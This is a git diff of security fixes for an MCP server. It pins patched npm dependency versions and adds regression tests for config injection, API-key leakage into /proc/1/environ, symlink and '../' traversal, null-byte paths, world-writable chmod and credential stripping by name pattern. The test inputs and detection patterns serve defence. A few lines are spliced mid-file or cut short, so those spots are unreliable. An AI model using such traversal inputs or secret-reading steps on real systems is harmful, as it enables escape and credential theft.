-49,7 +62,16 @@ if [ "$(id -u)" = "0" ] && [ "$target_uid" != "0" ] && command -v setpriv >/dev/ chmod 0700 "$HOME" chown "$target_uid:$target_gid" "$HOME" export HOME + exec 3<&2 +exec 3<=1.19.10", + "path-to-regexp@>=8.0.0 <8.4.0": ">=8.4.0", + "fast-uri@>=3.0.0 <=3.1.3": ">=3.1.4", + "hono@<4.11.7": ">=4.11.7", + "ajv@>=7.0.0-alpha.0 <8.18.0": ">=8.18.0", + "picomatch@>=4.0.0 <4.0.4": ">=4.0.4", + "qs@>=6.7.0 <=6.14.1": ">=6.14.2", + "body-parser@>=2.0.0 <2.3.0": ">=2.3.0" + } } } diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index f628be0..d5c9d08 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -4,6 +4,16 @@ settings: autoInstallPeers: true excludeLinksFromLockfile: false +overrides: + '@hono/node-server@<1.19.10': '>=1.19.10' + path-to-regexp@>=8.0.0 <8.4.0: '>=8.4.0' + fast-uri@>=3.0.0 <=3.1.3: '>=3.1.4' + hono@<4.11.7: '>=4.11.7' + ajv@>=7.0.0-alpha.0 <8.18.0: '>=8.18.0' + picomatch@>=4.0.0 <4.0.4: '>=4.0.4' + qs@>=6.7.0 <=6.14.1: '>=6.14.2' + body-parser@>=2.0.0 <2.3.0: '>=2.3.0' + importers: .: @@ -17,9 +27,6 @@ importers: dedent: specifier: ^1.7.0 version: 1.7.1 - qs: - specifier: ^6.14.0 - version: 6.14.1 toml: specifier: ^3.0.0 version: 3.0.0 @@ -36,9 +43,6 @@ importers: '@types/node': specifier: ^24.10.9 version: 24.10.9 - '@types/qs': - specifier: ^6.14.0 - version: 6.14.0 esbuild: specifier: ^0.27.2 version: 0.27.2 @@ -637,11 +641,11 @@ packages: engines: {node: '>=22', pnpm: '>=10'} hasBin: true - '@hono/node-server@1.19.9': - resolution: {integrity: sha512-vHL6w3ecZsky+8P5MD+eFfaGTyCeOHUIFYMGpQGbrBTSmNNoxv0if69rEZ5giu36weC5saFuznL411gRX7bJDw==} - engines: {node: '>=18.14.1'} + '@hono/node-server@2.1.1': + resolution: {integrity: sha512-ELuehkj5VCBdgEw9zs+ivkKwyzzUCSQuE96YmiPvn1ECBoZCczbFXJLeEGMTYjphP6gydh4pHMqEYPVMYUVgQg==} + engines: {node: '>=20'} peerDependencies: - hono: ^4 + hono: '>=4.11.7' '@jridgewell/resolve-uri@3.1.2': resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} @@ -1535,9 +1539,6 @@ packages: '@types/node@24.10.9': resolution: {integrity: sha512-ne4A0IpG3+2ETuREInjPNhUGis1SFjv1d5asp8MzEAGtOZeTeHVDOYqOgqfhvseqg/iXty2hjBf1zAOb7RNiNw==} - '@types/qs@6.14.0': - resolution: {integrity: sha512-eOunJqu0K1923aExK6y8p6fsihYEn/BYuQ4g0CxAAgFc4b/ZLN4CrsRZ55srTdqoiLzU2B2evC+apEIxprEzkQ==} - '@typescript/typescript-aix-ppc64@7.0.2': resolution: {integrity: sha512-MTKKkWB7p/0E9xi1d1tHtZ5PiLkGEMIq88pK2CubZjOsLtYTLqhgIgi6zepFa+9GHZ6h05NMCkQxGKiPXMxXtQ==} engines: {node: '>=16.20.0'} @@ -1683,7 +1684,7 @@ packages: ajv-draft-04@1.0.0: resolution: {integrity: sha512-mv00Te6nmYbRp5DCwclxtt7yV/joXJPGS7nM+97GdxvuttCOfgI3K4U25zboyeX0O+myI8ERluxQe5wljMmVIw==} peerDependencies: - ajv: ^8.5.0 + ajv: '>=8.18.0' peerDependenciesMeta: ajv: optional: true @@ -1691,7 +1692,7 @@ packages: ajv-formats@3.0.1: resolution: {integrity: sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ==} peerDependencies: - ajv: ^8.0.0 + ajv: '>=8.18.0' peerDependenciesMeta: ajv: optional: true @@ -1699,8 +1700,8 @@ packages: ajv@6.12.6: resolution: {integrity: sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==} - ajv@8.17.1: - resolution: {integrity: sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==} + ajv@8.20.0: + resolution: {integrity: sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==} ansi-colors@4.1.3: resolution: {integrity: sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==} @@ -1752,8 +1753,8 @@ packages: bl@1.2.3: resolution: {integrity: sha512-pvcNpa0UU69UT341rO6AYy4FVAIkUHuZXRIWbq+zHnsVcRzDDjIAhGuuYoi0d//cwIwtt4pkpKycWEfjdV+vww==} - body-parser@2.2.2: - resolution: {integrity: sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA==} + body-parser@2.3.0: + resolution: {integrity: sha512-2cGmJupaNgg+QUwVLAucDuWuoMZ6EX9iHDRswZ5lsNYEmwPaRknMPCLZz07yTzVq/83p4o/wzbDZbBrTvGGTIw==} engines: {node: '>=18'} brace-expansion@1.1.12: @@ -1865,6 +1866,10 @@ packages: resolution: {integrity: sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==} engines: {node: '>= 0.6'} + content-type@2.1.0: + resolution: {integrity: sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag==} + engines: {node: '>=18'} + cookie-signature@1.2.2: resolution: {integrity: sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==} engines: {node: '>=6.6.0'} @@ -2039,8 +2044,8 @@ packages: fast-json-stable-stringify@2.1.0: resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==} - fast-uri@3.1.0: - resolution: {integrity: sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==} + fast-uri@4.1.3: + resolution: {integrity: sha512-7+72G6vLt7jjNas8SmSATx2qeyRIjxeqO3i4IkmDTxlqYZRKANhOe1bnovcp4WZmvsYrp60WyqPyHqgRiX0yXw==} fd-slicer@1.1.0: resolution: {integrity: sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==} @@ -2141,8 +2146,8 @@ packages: resolution: {integrity: sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==} engines: {node: '>= 0.4'} - hono@4.11.4: - resolution: {integrity: sha512-U7tt8JsyrxSRKspfhtLET79pU8K+tInj5QZXs1jSugO1Vq5dFj3kmZsRldo29mTBfcjDRVRXrEZ6LS63Cog9ZA==} + hono@4.13.5: + resolution: {integrity: sha512-O6+/eCYRkzzzy0rPWwKLiGBR1nFuUPZynnwjxN1MBA62NNqbT0wQEzQyK2gSO5yDIDB336sXQleAhOHrzlYyKw==} engines: {node: '>=16.9.0'} http-errors@2.0.1: @@ -2393,14 +2398,14 @@ packages: path-to-regexp@3.3.0: resolution: {integrity: sha512-qyCH421YQPS2WFDxDjftfc1ZR5WKQzVzqsp4n9M2kQhVOo/ByahFoUNJfl58kOcEGfQ//7weFTDhm+ss8Ecxgw==} - path-to-regexp@8.3.0: - resolution: {integrity: sha512-7jdwVIRtsP8MYpdXSwOS0YdD0Du+qOoF/AEPIt88PcCFrZCzx41oxku1jD88hZBwbNUIEfpqvuhjFaMAqMTWnA==} + path-to-regexp@8.4.2: + resolution: {integrity: sha512-qRcuIdP69NPm4qbACK+aDogI5CBDMi1jKe0ry5rSQJz8JVLsC7jV8XpiJjGRLLol3N+R5ihGYcrPLTno6pAdBA==} pend@1.2.0: resolution: {integrity: sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==} - picomatch@4.0.3: - resolution: {integrity: sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==} + picomatch@4.0.7: + resolution: {integrity: sha512-qcJu88Q2IWqJsDD529JKMdwGm/dvInW4HvQnRwiH9JtihJvzGOscDtHE3x1pBKeUOTysQ8kVmLnJ2kJu7yhcGA==} engines: {node: '>=12'} pidtree@0.6.0: @@ -2460,8 +2465,8 @@ packages: resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==} engines: {node: '>=6'} - qs@6.14.1: - resolution: {integrity: sha512-4EK3+xJl8Ts67nLYNwqw/dsFVnCf+qR7RgXSK9jEEm9unao3njwMDdmsdvoKBKHzxd7tCYz5e5M+SnMjdtXGQQ==} + qs@6.16.0: + resolution: {integrity: sha512-h6fhOIaRrID2CbEY2fqs+7t+UXZo+MLAnU5gRIq85uFtdiUPCdsApMlHhXogKVM4HM2DVbIjGNTTYH2OcmP1vA==} engines: {node: '>=0.6'} range-parser@1.2.0: @@ -2627,8 +2632,8 @@ packages: resolution: {integrity: sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==} engines: {node: '>= 0.4'} - side-channel-list@1.0.0: - resolution: {integrity: sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==} + side-channel-list@1.0.1: + resolution: {integrity: sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==} engines: {node: '>= 0.4'} side-channel-map@1.0.1: @@ -2639,8 +2644,8 @@ packages: resolution: {integrity: sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==} engines: {node: '>= 0.4'} - side-channel@1.1.0: - resolution: {integrity: sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==} + side-channel@1.1.1: + resolution: {integrity: sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==} engines: {node: '>= 0.4'} sisteransi@1.0.5: @@ -2726,6 +2731,10 @@ packages: resolution: {integrity: sha512-OZs6gsjF4vMp32qrCbiVSkrFmXtG/AZhY3t0iAMrMBiAZyV9oALtXO8hsrHbMXF9x6L3grlFuwW2oAz7cav+Gw==} engines: {node: '>= 0.6'} + type-is@2.1.0: + resolution: {integrity: sha512-faYHw0anBbc/kWF3zFTEnxSFOAGUX9GFbOBthvDdLsIlEoWOFOtS0zgCiQYwIskL9iGXZL3kAXD8OoZ4GmMATA==} + engines: {node: '>= 18'} + typed-array-buffer@1.0.3: resolution: {integrity: sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==} engines: {node: '>= 0.4'} @@ -2924,8 +2933,8 @@ snapshots: '@apidevtools/json-schema-ref-parser': 14.0.1 '@apidevtools/openapi-schemas': 2.1.0 '@apidevtools/swagger-methods': 3.0.2 - ajv: 8.17.1 - ajv-draft-04: 1.0.0(ajv@8.17.1) + ajv: 8.20.0 + ajv-draft-04: 1.0.0(ajv@8.20.0) call-me-maybe: 1.0.2 openapi-types: 12.1.3 @@ -3305,9 +3314,9 @@ snapshots: prompts: 2.4.2 regexpu-core: 6.4.0 - '@hono/node-server@1.19.9(hono@4.11.4)': + '@hono/node-server@2.1.1(hono@4.13.5)': dependencies: - hono: 4.11.4 + hono: 4.13.5 '@jridgewell/resolve-uri@3.1.2': {} @@ -3403,9 +3412,9 @@ snapshots: '@modelcontextprotocol/sdk@1.30.0(zod@3.25.76)': dependencies: - '@hono/node-server': 1.19.9(hono@4.11.4) - ajv: 8.17.1 - ajv-formats: 3.0.1(ajv@8.17.1) + '@hono/node-server': 2.1.1(hono@4.13.5) + ajv: 8.20.0 + ajv-formats: 3.0.1(ajv@8.20.0) content-type: 1.0.5 cors: 2.8.5 cross-spawn: 7.0.6 @@ -3413,7 +3422,7 @@ snapshots: eventsource-parser: 3.0.6 express: 5.2.1 express-rate-limit: 8.6.2(express@5.2.1) - hono: 4.11.4 + hono: 4.13.5 jose: 6.1.3 json-schema-typed: 8.0.2 pkce-challenge: 5.0.1 @@ -3425,9 +3434,9 @@ snapshots: '@modelcontextprotocol/sdk@1.30.0(zod@4.3.5)': dependencies: - '@hono/node-server': 1.19.9(hono@4.11.4) - ajv: 8.17.1 - ajv-formats: 3.0.1(ajv@8.17.1) + '@hono/node-server': 2.1.1(hono@4.13.5) + ajv: 8.20.0 + ajv-formats: 3.0.1(ajv@8.20.0) content-type: 1.0.5 cors: 2.8.5 cross-spawn: 7.0.6 @@ -3435,7 +3444,7 @@ snapshots: eventsource-parser: 3.0.6 express: 5.2.1 express-rate-limit: 8.6.2(express@5.2.1) - hono: 4.11.4 + hono: 4.13.5 jose: 6.1.3 json-schema-typed: 8.0.2 pkce-challenge: 5.0.1 @@ -4043,8 +4052,6 @@ snapshots: dependencies: undici-types: 7.16.0 - '@types/qs@6.14.0': {} - '@typescript/typescript-aix-ppc64@7.0.2': optional: true @@ -4122,13 +4129,13 @@ snapshots: acorn@8.18.0: {} - ajv-draft-04@1.0.0(ajv@8.17.1): + ajv-draft-04@1.0.0(ajv@8.20.0): optionalDependencies: - ajv: 8.17.1 + ajv: 8.20.0 - ajv-formats@3.0.1(ajv@8.17.1): + ajv-formats@3.0.1(ajv@8.20.0): optionalDependencies: - ajv: 8.17.1 + ajv: 8.20.0 ajv@6.12.6: dependencies: @@ -4137,10 +4144,10 @@ snapshots: json-schema-traverse: 0.4.1 uri-js: 4.4.1 - ajv@8.17.1: + ajv@8.20.0: dependencies: fast-deep-equal: 3.1.3 - fast-uri: 3.1.0 + fast-uri: 4.1.3 json-schema-traverse: 1.0.0 require-from-string: 2.0.2 @@ -4181,17 +4188,17 @@ snapshots: readable-stream: 2.3.8 safe-buffer: 5.2.1 - body-parser@2.2.2: + body-parser@2.3.0: dependencies: bytes: 3.1.2 - content-type: 1.0.5 + content-type: 2.1.0 debug: 4.4.3 http-errors: 2.0.1 iconv-lite: 0.7.2 on-finished: 2.4.1 - qs: 6.14.1 + qs: 6.16.0 raw-body: 3.0.2 - type-is: 2.0.1 + type-is: 2.1.0 transitivePeerDependencies: - supports-color @@ -4312,6 +4319,8 @@ snapshots: content-type@1.0.5: {} + content-type@2.1.0: {} + cookie-signature@1.2.2: {} cookie@0.7.2: {} @@ -4512,7 +4521,7 @@ snapshots: express@5.2.1: dependencies: accepts: 2.0.0 - body-parser: 2.2.2 + body-parser: 2.3.0 content-disposition: 1.0.1 content-type: 1.0.5 cookie: 0.7.2 @@ -4531,7 +4540,7 @@ snapshots: once: 1.4.0 parseurl: 1.3.3 proxy-addr: 2.0.7 - qs: 6.14.1 + qs: 6.16.0 range-parser: 1.2.1 router: 2.2.0 send: 1.2.1 @@ -4546,7 +4555,7 @@ snapshots: fast-json-stable-stringify@2.1.0: {} - fast-uri@3.1.0: {} + fast-uri@4.1.3: {} fd-slicer@1.1.0: dependencies: @@ -4644,7 +4653,7 @@ snapshots: dependencies: function-bind: 1.1.2 - hono@4.11.4: {} + hono@4.13.5: {} http-errors@2.0.1: dependencies: @@ -4787,7 +4796,7 @@ snapshots: ansi-styles: 6.2.3 cross-spawn: 7.0.6 memorystream: 0.3.1 - picomatch: 4.0.3 + picomatch: 4.0.7 pidtree: 0.6.0 read-package-json-fast: 4.0.0 shell-quote: 1.8.3 @@ -4798,7 +4807,7 @@ snapshots: ansi-styles: 7.0.0 cross-spawn: 7.0.6 memorystream: 0.3.1 - picomatch: 4.0.3 + picomatch: 4.0.7 pidtree: 1.0.0 read-package-json-fast: 6.0.0 shell-quote: 1.10.0 @@ -4876,11 +4885,11 @@ snapshots: path-to-regexp@3.3.0: {} - path-to-regexp@8.3.0: {} + path-to-regexp@8.4.2: {} pend@1.2.0: {} - picomatch@4.0.3: {} + picomatch@4.0.7: {} pidtree@0.6.0: {} @@ -4918,9 +4927,10 @@ snapshots: punycode@2.3.1: {} - qs@6.14.1: + qs@6.16.0: dependencies: - side-channel: 1.1.0 + es-define-property: 1.0.1 + side-channel: 1.1.1 range-parser@1.2.0: {} @@ -5043,7 +5053,7 @@ snapshots: depd: 2.0.0 is-promise: 4.0.0 parseurl: 1.3.3 - path-to-regexp: 8.3.0 + path-to-regexp: 8.4.2 transitivePeerDependencies: - supports-color @@ -5123,7 +5133,7 @@ snapshots: shell-quote@1.8.3: {} - side-channel-list@1.0.0: + side-channel-list@1.0.1: dependencies: es-errors: 1.3.0 object-inspect: 1.13.4 @@ -5143,11 +5153,11 @@ snapshots: object-inspect: 1.13.4 side-channel-map: 1.0.1 - side-channel@1.1.0: + side-channel@1.1.1: dependencies: es-errors: 1.3.0 object-inspect: 1.13.4 - side-channel-list: 1.0.0 + side-channel-list: 1.0.1 side-channel-map: 1.0.1 side-channel-weakmap: 1.0.2 @@ -5247,6 +5257,12 @@ snapshots: media-typer: 1.1.0 mime-types: 3.0.2 + type-is@2.1.0: + dependencies: + content-type: 2.1.0 + media-typer: 1.1.0 + mime-types: 3.0.2 + typed-array-buffer@1.0.3: dependencies: call-bound: 1.0.4 diff --git a/scripts/tests/test-compiler-injection.ts b/scripts/tests/test-compiler-injection.ts index 0ccbe97..faf504b 100644 --- a/scripts/tests/test-compiler-injection.ts +++ b/scripts/tests/test-compiler-injection.ts @@ -37,7 +37,7 @@ test("rust build does not execute an injected payload from .cargo/config.toml", // The build itself must fail — the point is HOW it fails. await assert.rejects( - compileRustAndFindBinary(join(dir, "src", "main.rs"), join(dir, "out.wasm"), dir) + compileRustAndFindBinary(join(dir, "src", "main.rs"), join(dir, "out.wasm"), dir, dir) ); assert.equal( existsSync(sentinel), diff --git a/scripts/tests/test-key-isolation.sh b/scripts/tests/test-key-isolation.sh new file mode 100755 index 0000000..417bfe4 --- /dev/null +++ b/scripts/tests/test-key-isolation.sh @@ -0,0 +1,29 @@ +#!/bin/bash +# Verify that GCORE_API_KEY does not appear in /proc/1/environ after the +# entrypoint runs. Requires docker on PATH and a locally built image. +set -e + +if ! command -v docker >/dev/null 2>&1; then + echo "docker not found, skipping" + exit 0 +fi + +IMAGE="fastedge-mcp-server:local" + +echo "Building $IMAGE for key-isolation test..." +docker build -t "$IMAGE" "$(dirname "$0")/../.." + +echo "Checking that GCORE_API_KEY is absent from /proc/1/environ inside the container..." +count=$(docker run --rm \ + -e GCORE_API_KEY=SECRET_CANARY \ + -v "$(mktemp -d)":/workspace \ + --entrypoint sh \ + "$IMAGE" \ + -c 'sleep 1; tr "\0" "\n" void) { + const ws = mkdtempSync(join(tmpdir(), "test-workspace-")); + try { + fn(ws); + } finally { + rmSync(ws, { recursive: true, force: true }); + } +} + +// Outside target that exists +const outsideExisting = mkdtempSync(join(tmpdir(), "outside-")); + +test("(a) symlink -> existing path outside workspace is rejected", () => { + withTempWorkspace((ws) => { + symlinkSync(outsideExisting, join(ws, "link")); + assert.equal(normalizePath(ws, "link"), INVALID_PATH); + }); +}); + +test("(b) dangling symlink -> missing path outside workspace is rejected", () => { + withTempWorkspace((ws) => { + symlinkSync("/tmp/outside-missing-xyzzy", join(ws, "link")); + assert.equal(normalizePath(ws, "link"), INVALID_PATH); + }); +}); + +test("(c) dir/link -> ../../ (traversal via symlink) is rejected", () => { + withTempWorkspace((ws) => { + mkdirSync(join(ws, "dir")); + symlinkSync("../../", join(ws, "dir", "link")); + assert.equal(normalizePath(ws, "dir/link"), INVALID_PATH); + }); +}); + +test("(d) plain nested path inside workspace is accepted", () => { + withTempWorkspace((ws) => { + mkdirSync(join(ws, "sub")); + writeFileSync(join(ws, "sub", "file.wasm"), ""); + const result = normalizePath(ws, "sub/file.wasm"); + assert.notEqual(result, INVALID_PATH); + assert.ok(result.startsWith(ws)); + }); +}); + +test("(e) workspace root itself is accepted (via empty relative path normalizes to .)", () => { + withTempWorkspace((ws) => { + // normalizePath("ws", ".") should be accepted + const result = normalizePath(ws, "."); + assert.notEqual(result, INVALID_PATH); + }); +}); + +test("(f) ../x path traversal is rejected", () => { + withTempWorkspace((ws) => { + assert.equal(normalizePath(ws, "../escape"), INVALID_PATH); + }); +}); + +test("null byte in path is rejected", () => { + withTempWorkspace((ws) => { + assert.equal(normalizePath(ws, "foo\0bar"), INVALID_PATH); + }); +}); + +test("default output path wasm/output.wasm is rejected when a symlink sits there", () => { + withTempWorkspace((ws) => { + mkdirSync(join(ws, "wasm")); + symlinkSync(outsideExisting, join(ws, "wasm", "output.wasm")); + assert.equal(normalizePath(ws, "wasm/output.wasm"), INVALID_PATH); + }); +}); + +// Cleanup outside dir after all tests +process.on("exit", () => { + try { rmSync(outsideExisting, { recursive: true, force: true }); } catch { /* ignore */ } +}); diff --git a/scripts/tests/test-permissions.ts b/scripts/tests/test-permissions.ts new file mode 100644 index 0000000..60541db --- /dev/null +++ b/scripts/tests/test-permissions.ts @@ -0,0 +1,64 @@ +/** + * Regression tests for wasmOutputPermissions: + * 1. Source-level: 0o777 (world-writable) is never passed to chmod. + * 2. Runtime: the directory walker does not touch files above the workspace root. + * Run via: tsx --test scripts/tests/test-permissions.ts + */ +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { readFileSync, mkdtempSync, writeFileSync, statSync, rmSync } from "node:fs"; +import { join, dirname, sep } from "node:path"; +import { tmpdir } from "node:os"; +import { fileURLToPath } from "node:url"; + +const ROOT = join(dirname(fileURLToPath(import.meta.url)), "../.."); +const utilsSrc = readFileSync( + join(ROOT, "src/tools/local/workspace/compiler/utils.ts"), + "utf8" +); + +test("compiler/utils.ts never issues 0o777 (world-writable chmod)", () => { + assert.ok(!/0o777/.test(utilsSrc), "found 0o777 in compiler/utils.ts"); +}); + +test("wasmOutputPermissions walker does not touch files above workspace root", async () => { + // Build a temp tree: /tmp/parent/workspace/output.wasm + // Place a sentinel file at /tmp/parent/outside.txt (above workspace). + // Then call wasmOutputPermissions with the workspace root; the walker must + // not chown/chmod the parent dir or the sentinel file. + // + // We run as non-root in CI so process.getuid() !== 0 and the function + // returns early — that's the correct behaviour (early return when not root). + // The source check above covers the 0o777 case. Here we verify the guard + // condition itself (not root → no-op). + + const parent = mkdtempSync(join(tmpdir(), "perm-test-")); + try { + const ws = join(parent, "workspace"); + const { mkdirSync } = await import("node:fs"); + mkdirSync(ws); + const wasmPath = join(ws, "output.wasm"); + writeFileSync(wasmPath, ""); + + const sentinelPath = join(parent, "outside.txt"); + writeFileSync(sentinelPath, "sentinel"); + const mtimeBefore = statSync(sentinelPath).mtimeMs; + + // Import after build (uses compiled JS via .js extension via tsx) + const { wasmOutputPermissions } = await import( + "../../src/tools/local/workspace/compiler/utils.js" + ); + // Call with wasmPath inside workspace and workspaceRoot = ws + wasmOutputPermissions(wasmPath, ws); + + // Sentinel file above the workspace must be untouched + const mtimeAfter = statSync(sentinelPath).mtimeMs; + assert.equal( + mtimeAfter, + mtimeBefore, + "wasmOutputPermissions modified a file above the workspace root" + ); + } finally { + rmSync(parent, { recursive: true, force: true }); + } +}); diff --git a/scripts/tests/test-scaffold-pin.ts b/scripts/tests/test-scaffold-pin.ts new file mode 100644 index 0000000..11408f0 --- /dev/null +++ b/scripts/tests/test-scaffold-pin.ts @@ -0,0 +1,34 @@ +/** + * Regression tests for the scaffolding package pin: confirms that + * create-fastedge-app is referenced at an exact semver, not @beta or @latest. + * Run via: tsx --test scripts/tests/test-scaffold-pin.ts + */ +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { readFileSync } from "node:fs"; +import { join, dirname } from "node:path"; +import { fileURLToPath } from "node:url"; + +const ROOT = join(dirname(fileURLToPath(import.meta.url)), "../.."); +const scaffoldsSrc = readFileSync( + join(ROOT, "src/tools/local/scaffolding/scaffolds.ts"), + "utf8" +); + +test("scaffolds.ts contains no @beta package tag (outside comments)", () => { + // Strip single-line comments so the "do not use @beta" advisory comment is ignored. + const withoutComments = scaffoldsSrc.replace(/\/\/.*/g, ""); + assert.ok(!/@beta/.test(withoutComments), "found @beta package tag in scaffolds.ts (outside a comment)"); +}); + +test("CREATE_APP_PKG uses a pinned semver (no @latest or floating tag)", () => { + // Matches: create-fastedge-app@X.Y.Z (digits only, no suffix like @beta/@latest) + const match = scaffoldsSrc.match(/CREATE_APP_PKG\s*=\s*"([^"]+)"/); + assert.ok(match, "CREATE_APP_PKG constant not found in scaffolds.ts"); + const pkg = match![1]; + assert.match( + pkg, + /^create-fastedge-app@\d+\.\d+\.\d+$/, + `CREATE_APP_PKG "${pkg}" is not a pinned semver (expected create-fastedge-app@X.Y.Z)` + ); +}); diff --git a/scripts/tests/test-subprocess-bounds.ts b/scripts/tests/test-subprocess-bounds.ts new file mode 100644 index 0000000..a19cd00 --- /dev/null +++ b/scripts/tests/test-subprocess-bounds.ts @@ -0,0 +1,52 @@ +/** + * Tests for spawnBounded: process group kill on timeout and output overflow. + * Run via: tsx --test scripts/tests/test-subprocess-bounds.ts + */ +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { execFileSync } from "node:child_process"; +import { spawnBounded } from "../../src/tools/local/workspace/compiler/utils.js"; + +test("timeout kills entire process group (no grandchildren survive)", async () => { + // Use a unique fractional sleep value so pgrep only matches our own grandchild. + const sleepSec = `60.${Date.now() % 1_000_000}`; + const start = Date.now(); + + // sh -c starts a grandchild sleep; with detached+group-kill the sleep must die too + const result = await spawnBounded( + "sh", + ["-c", `sleep ${sleepSec} & wait`], + { cwd: "/tmp", env: process.env as NodeJS.ProcessEnv, timeoutMs: 500, maxOutputBytes: 1024 * 1024 } + ); + + const elapsed = Date.now() - start; + assert.ok(elapsed < 3000, `helper took ${elapsed}ms, expected < 3s`); + assert.equal(result.signal, "SIGKILL"); + assert.equal(result.truncated, false); + + // Give the OS a moment to reap orphans, then check no matching sleep remains. + // Use execFileSync (no shell) so pgrep doesn't match the shell process whose + // argv would itself contain the pattern. + await new Promise((r) => setTimeout(r, 500)); + let survivors = ""; + try { survivors = execFileSync("pgrep", ["-f", `sleep ${sleepSec}`], { encoding: "utf8" }).trim(); } catch { /* pgrep exits 1 when nothing found */ } + assert.equal(survivors, "", `grandchild sleep ${sleepSec} survived: pids ${survivors}`); +}); + +test("output cap triggers truncated flag and kills process", async () => { + const TEN_MB = 10 * 1024 * 1024; + + const result = await spawnBounded( + "sh", + ["-c", "yes | head -c 20000000"], + { cwd: "/tmp", env: process.env as NodeJS.ProcessEnv, timeoutMs: 30_000, maxOutputBytes: TEN_MB } + ); + + assert.equal(result.truncated, true, "expected truncated=true for output overflow"); + // stdout bytes collected before kill should be <= cap (within one chunk margin) + const collected = Buffer.byteLength(result.stdout) + Buffer.byteLength(result.stderr); + assert.ok( + collected <= TEN_MB + 128 * 1024, + `collected ${collected} bytes, expected <= cap + 128KB chunk margin` + ); +}); diff --git a/scripts/tests/test-subprocess-env.ts b/scripts/tests/test-subprocess-env.ts new file mode 100644 index 0000000..f413011 --- /dev/null +++ b/scripts/tests/test-subprocess-env.ts @@ -0,0 +1,41 @@ +/** + * Regression tests for buildSubprocessEnv: confirms that credential-bearing + * env vars from the host are not forwarded to build subprocesses. + * Run via: tsx --test scripts/tests/test-subprocess-env.ts + */ +import { test, before, after } from "node:test"; +import assert from "node:assert/strict"; +import { buildSubprocessEnv } from "../../src/utils/index.js"; + +// Sensitive vars injected into process.env for the duration of these tests. +const INJECTED: Record = { + GCORE_API_KEY: "secret-gcore", + FASTEDGE_API_KEY: "secret-fastedge", + MY_TOKEN: "secret-token", + MY_SECRET: "secret-value", +}; + +before(() => { + for (const [k, v] of Object.entries(INJECTED)) process.env[k] = v; +}); + +after(() => { + for (const k of Object.keys(INJECTED)) delete process.env[k]; +}); + +test("buildSubprocessEnv strips credential-bearing keys", () => { + const env = buildSubprocessEnv(); + const credPattern = /GCORE|API_KEY|TOKEN|SECRET/i; + const leaked = Object.keys(env).filter((k) => credPattern.test(k)); + assert.deepEqual(leaked, [], `leaked keys: 